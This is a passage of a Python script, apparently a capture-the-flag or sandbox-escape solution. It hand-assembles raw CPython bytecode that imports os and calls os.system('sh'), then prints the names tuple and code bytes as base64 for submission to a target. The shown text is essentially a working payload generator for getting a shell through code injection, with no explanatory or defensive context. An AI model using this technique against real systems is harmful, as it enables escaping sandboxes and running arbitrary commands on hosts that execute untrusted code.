return ins

def assemble(instructions):
bytecode = b''
for instr in instructions:
if type(instr) == str:
instr = (instr,)
if len(instr) == 2:
opcode = dis.opmap[instr[0]]
arg = instr[1]
elif len(instr) == 1:
opcode = dis.opmap[instr[0]]
arg = 0

bytecode += bytes([opcode, arg])

return bytecode

names = assemble([
*BUILD_STRING('os'),
*BUILD_STRING('system'),
('BUILD_TUPLE', 2),
'RETURN_VALUE'
])

code = assemble([
*BUILD_NUMBER(0),
('BUILD_LIST', 0),
('IMPORT_NAME', 0),
('LOAD_METHOD', 1),
*BUILD_STRING('sh'),
('CALL_METHOD', 1),
'RETURN_VALUE'
])

print(b64encode(names))
print(b64encode(code))